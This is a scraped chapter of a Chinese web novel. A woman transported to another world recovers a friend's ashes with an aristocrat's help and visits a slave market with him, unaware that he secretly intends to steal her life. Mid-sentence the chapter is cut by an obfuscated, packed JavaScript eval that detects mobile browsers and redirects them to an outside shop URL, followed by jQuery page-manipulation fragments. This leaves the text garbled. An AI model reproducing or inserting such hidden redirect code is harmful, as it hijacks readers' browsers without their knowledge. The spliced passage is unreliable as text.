默认冷灰
24号文字
方正启体

13.买卖

作者:妖妃兮本书字数:K更新时间:
    邬平安出府了。


    姬玉嵬没骗她。


    出来刹那,她松口气,站在宽街上望着前方的热闹,心里总数有踏实感。


    在姬府,她始终有虚假的幻梦感,那种感觉就像是有人用华丽的金箔贴在佛身上,佯装是金佛,实际撕开薄薄的一侧金箔,里面是漆黑的石头。


    这是建邺城内最繁华的地方,在分三六九等的朝代,被定义为下等人的人恐怕一辈子都没机会踏进此街,当初她打铁的铺子也只是在最犄角旮旯之地。


    邬平安来不及欣赏建邺最繁荣的街道,直奔划分为平民窟的狭巷。


    多日未归,平民窟里没什么变化,那些人为了生计,麻木地重复做着同样的事,只是看见邬平安穿着花色华丽的绸缎袍,以为是哪家贵人,惝恍跪在地上迎接。


    她一路飞快地朝着房子跑去。


    房子也还在,不知是因她离家几日,被贼人赏脸光顾,她以前和阿得存的铜板,还有用来装阿得骨灰的匣子不见了。


    寒意顷刻席卷她全身,忍不住跌坐地上,茫然望着眼前空空的位置。


    阿得的骨灰没了,她该上哪里去找?


    为了找阿得的骨灰,邬平安没有回去,而姬玉嵬也未曾让人来寻她。


    找了一夜,她问遍周围的人,连家中土都险些要掀开去找,也还是没找到。


    清晨,熹微透过瓦缝折射屋内,邬平安坐在窗边发呆。


    她实在找不到了。


    一瞬间,她在绝望中,脑里忽然划过姬玉嵬。


    不是怀疑他偷了骨灰,而是想到他的身份,说不定能帮忙找到阿得的骨灰盒。


    想罢,她立马起身离开此地。


    邬平安凭借玉佩,重新回到姬府。


    姬玉嵬在杏林似乎刚起身沐浴更衣不久,出来见她时身着宽袍大袖,湿发披腰,跣足亲地而来,携风一股清冷的花药涩香。


    “平安。”


    他像是刚听见她回来,便迫不及待过来了,清瘦的足背上还有几片花瓣,也是踩在铺满的地衣上不至于黑足,白得泛柔光。


    以前邬平安不能理解恋足的怪癖,但她连看姬玉嵬的足面好几眼后方在心中感慨,原来自己也是变态,竟然觉得姬玉嵬的脚很好看得难移目。


    “嵬还以为平安要晚些时才回来,方也在澡身,尚未焚香,也让平安久等了。”姬玉嵬坐在她的面前似没发现她频频流连的目光,倒茶时湿发顺着清隽的脖颈蜿蜒如漆黑山脉。


    邬平安哪知他每天清晨有这么多事要忙,面对他正襟危坐道:“没,是我来得匆忙。”


    姬玉嵬瀹热酒,推至她身前,眸黑含笑:“平安可是有事寻嵬?”


    她昨夜一夜未归,清晨天方亮就赶往姬府,还撞见姬玉嵬清浴,确为有事想要找他。


    邬平安咬了咬唇,声轻软:“我丢了东西,想要请郎君帮忙寻。”


    “善。”他听完,想也没想颌首。


    邬平安抬眸看他,少年狭长凤诚恳出清澈的水中横波,让人情不自禁对他产生信任。


    “多谢。”邬平安不知该如何形容此刻的心情,像那日身在狭窄的金笼中,以为要死了却乍然遇见一束光。


    姬玉嵬眼波流眄过她脸上的感激,笑意加深,搭在白瓷上的手指愉悦地轻点,还安慰她:“平安能找上来,想必是丢的是极重要之物,嵬才应感谢平安能在遇上事,首先想到嵬。”


    “郎君是我在此地的朋友,我只能想到郎君。”邬平安低头捧起身前的陶杯。


    阿得的事,她本不想为寻他帮忙的,可除他以外,她似乎想不到旁人。


    在昨日之前,她如何也想不到,遇上麻烦最后想到的人竟然是姬玉嵬。


    姬玉嵬因她求助而欢愉,笑时眼尾荡春情:“平安与嵬细说,寻找何物?”


    邬平安将阿得的事告知他时,还担心他听见阿得曾经得罪过姬玉莲,会后悔,幸好少年心善,不曾说过半句不好,让她在府上等几日。


    有了姬玉嵬相助,邬平安便在府上等消息。


    在府上和在外面无甚不同,她能自由出入府邸,偶尔姬玉嵬会邀她一起奏音唱乐。


    这样的姬玉嵬,让她越发觉得他只是有几分士族贵气的冰玉少年。


    后来她想,书中与现实或许是相驳的,识人不可从表面,唯有真实相处后才知人性。


    如此相处过半月,姬玉嵬忽然让童子传她去杏林。


    路上童子笑吟吟说姬玉嵬要送她好物,邬平安不高兴是假的,她留在姬府也半月有余,应该是找到阿得的骨灰盒了。


    果不其然,步入内庭,她便见身穿着雪白的傅袖纱绢袍的少年怀抱木匣,立在树下如香魂魅鬼,长眉目,唇含笑,温声细语地庆幸。


    “不容使命,找到平安想要的。”


    邬平安看见他怀中熟悉的木匣,提裙奔去,脸上掩饰不住的欣喜:“你在哪找到的?”


    真是她用来装阿得的木匣,上面还有她刻的字,很好辨认。


    姬玉嵬将木匣递与她,引她去一旁坐,再徐声谈如何找到的。


    “平安没说错,确为人所盗,只是那人最初以为这里是装钱财的,结果不然,便随手弃了木匣,故而嵬让人找了很久才找到,让你久等了。”


    邬平安抱着骨灰匣,满脸感激:“没有等久,若不是郎君,我恐怕一辈子都找不到了。”


    姬玉嵬慵懒坐在蒲垫上,单手撑着白洁的下巴,漂亮的眼珠目不转地笑视她平平无奇的脸。


    这一刻,她普通的脸上刹那亮出的朝气和平日不同,姬玉嵬说不出何处不同,只觉让人耳目一新,舌根发麻。


    隔了许久,他温言好奇:“现在平安要将它放在那里?”


    邬平安想到之前阿得说,这里的平民不能土葬,犹豫须臾问姬玉嵬:“郎君,我能将它埋进土里吗?若是可以,我愿为郎君做一件事。”


    姬玉嵬失笑:“平安乃嵬之知己,一隅土地罢,只要是姬氏的,平安可随意,至于平安口头言语的一事,倒是……”


    他似想说不用,但话在唇边又神秘咽下,问她时挽袖执勺,舀清茶重新倒热茶:“平安今日还要在府上吗?若有空,想平安陪嵬去一地。”


    邬平安以为他又想要让弹奏唱乐:“今日有空。”


    姬玉嵬掀眸,笑说:“那平安先等片晌,嵬先去更衣。”


    邬平安往他身上乜两眼,点点头。


    他起身离去,拂去满室清香。


    邬平安坐在蒲垫上捧起陶杯抿了口,入舌满甜涩,才发现竟然不是茶而是果酒。


    不知是什么果酿味道很好,她多抿了下,怕没喝过酒会晕,品了味便放下陶杯,安静坐在原地等姬玉嵬。


    姬玉嵬和其他人不同,他做事洒脱直率,但在爱护自身上有显得极为纠结,焚香更衣后才迟步而来。


    再来时,他已换了套素纱白长袍,香而唇红,像是施过胭脂,艳且不俗。


    这里的很多男子注重仪容,会剃面修眉、扑粉点唇,姬玉嵬爱美好自然有些也免不了,他的眉形刚修过,只是待走近邬平安才发现他脸上透白干净,无半点粉腻。


    “平安,走罢。”他站在她面前伸出手,想要拉她起身。


    邬平安从他脸上移开,没将手递给他,撑着桌案面起身。


    姬玉嵬收回手,垂在博袖中,脸上笑意淡了。


    他在前方引路,邬平安则跟在身后,听他道今日要去做什么。


    “嵬身边有仆役老矣、病重辞去,一直未曾找到心仪的仆役,所以今日想让平安帮忙去挑选。”


    他身边童子无数,邬平安还没见过有老的。


    姬玉嵬道:“曾经有,后来他们总在背后私谈嵬,见他们年岁已大,索性遣送了去。”


    原来是说闲话被抓了,邬平安倒是能理解,没有被杀,反而是遣送走,在这个阶级分明到极端恐怖的封建朝代,他已经算是善良了。


    虽然姬玉嵬和书中真的不同,但邬平安不会识人,先与他说明。


    姬玉嵬勾唇,引她上羊车:“来,无碍,只陪嵬看看便是。”


    邬平安随他坐上羊车,朝着奴役场去。


    奴役场设在建邺郊外,来往的人很多,作为姬氏的郎君又有另条道,进去后管事亲自上前行大礼,还要主动当牵羊车的仆奴,被姬玉嵬拒绝。


    邬平安看了眼语气不复方才,有淡恹之感是姬玉嵬,再向管事看去,果见一张平平无奇的脸。


    姬玉嵬真的很颜控,从府上道路的石子、树的形状再到身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973037|192730||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边童子,自身穿着装扮,皆美得赏心悦目。


    邬平安忍不住摸自己的脸,刚碰上,姬玉嵬便唤她下来。


    邬平安放手,下了羊车。


    没有管事引路,两人四童子围在身边开路,周围的人见两人身上穿着和佩饰精美,纷纷主动让道,还不停投来惊艳的目光。


    姬玉嵬习以为常,邬平安不太受得住如此瞩目,脸烧热得很,维持镇定跟着他边走边看。


    邬平安发现路上很多脖颈上套着绳索的人,多是年轻的女子和年幼的孩童,他们面前插着木牌,女子谓之‘不羡羊’,小儿呼为‘和骨烂’,年长则廋词‘饶把火’,他们像是牛羊般捆在一起,等着被主人挑选回去。


    这些人中稍年长的会被买主嫌弃,面前近乎无人,而孩童与女子面前则有无数人争相挑选。


    邬平安越走心里越沉,身旁的姬玉嵬似发觉她对此地不适,低声安慰:“走过这段路,前面便不吵闹了。”


    邬平安其实她不是觉得吵闹,而是想到那些人的称呼是‘不羡羊’‘和骨烂’,她记得似乎是被当作食物吃的人。


    但这里是被称为最繁华的建邺,不该是无吃食需要食人来饱腹的战乱时期,不然太可怖了。


    路过那段路,两人步入内庭,进到完全不同的场所,里面华灯高挂香纱长垂,墙面上用金箔绘制着精美的飞天纹路,接待无论是管事亦或仆役个个傅粉施朱,面容白腻。


    邬平安脱靴换上木屐,跪坐蒲垫,不远处的台上带来了很多年轻貌美的男男女女,供姬玉嵬挑选。


    这些奴隶大抵是最好的,虽不知台下人的身份,但见富贵,为了能让自己被挑走,竭尽所能地展示自己的会什么,有的会唱曲,有的会笔墨,有的则会跳舞……


    这种场景不知怎么就让邬平安之前看过的段子,古人穿越来问人牙子想买奴隶,结果找了半天才发现,没有人牙子了也没有奴隶,只有招聘者和牛马,卖身契也成了就业合同。


    这个其实没什么好笑的,是她见此场景忽然想到,古往今来受压榨的都是可怜的奴隶,不过虽然都惨,但她家乡比起这里简直宛如天堂,至少还有点面子上的人权。


    她只是稍想罢,姬玉嵬便察觉她有心事。


    “平安在想什么?”他揣袖侧首,白皙的轮廓点缀着柔光,好奇看着她埋下的头顶。


    邬平安踌躇说:“没什么,就是想到我们那也有这种类似的场景。”


    “哦。”原本兴致缺缺的姬玉嵬忽来兴致,不再将目光放在台上,单手托着下巴灼灼望着她,一副等着听她说的姿态。


    邬平安见他有兴趣,犹豫后没细说,只道:“我们那也有这样大型场所,称之为人才市场,人也没这里的可怜。”


    姬玉嵬没听懂,但并不妨碍他对她所言的异界,有浓郁的兴趣。


    他看得出,也试探多次,邬平安是受过书礼,观念与此不同,她有不为奴隶的卑微和不畏惧权势的勇气。


    从她的眼神里、行为上、语气中让人很轻易便勾勒出了盛大、和平且平等的朝代。


    相对与这份美好,他其实更想见到所谓的神术,世道好与乱与他无关,他只要长生不死。


    姬玉嵬浅笑凝瞳而温言:“平安所言的地方,嵬觉得很有趣,日后也想要和你一起去看看,不知可否?”


    邬平安因他这句话露出失落:“若是可以,我也愿意带你去看看我们那。”


    她太想要回去了,不仅是为了爸妈和朋友,更是为了自己,可她连自己回不回得去都不知呢。


    姬玉嵬掠过她面上低落,心中考量,不紧不慢道:“如果平安是在找回家的路,嵬或许可以帮你。”


    邬平安看向姬玉嵬。


    少年身着士族的素纱白绢袍,小冠清淡振尘,额间的红痣让他有几分典型的观音容,和蔼和亲更透着一股超然气。


    如果他是真心的,无论以后回不回得去,她永远不会忘记他,会视他为在异界的知己,最好的朋友。


    “多谢你,姬玉嵬。”邬平安脸上扬起自相识以来,最璀璨地笑。


    姬玉嵬笑而不语,端杯掩无法抑制扬起的唇角。


    他自然会帮邬平安找到回神界的法子,作为报酬,他将会取她活息,顶替她成为神仙人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)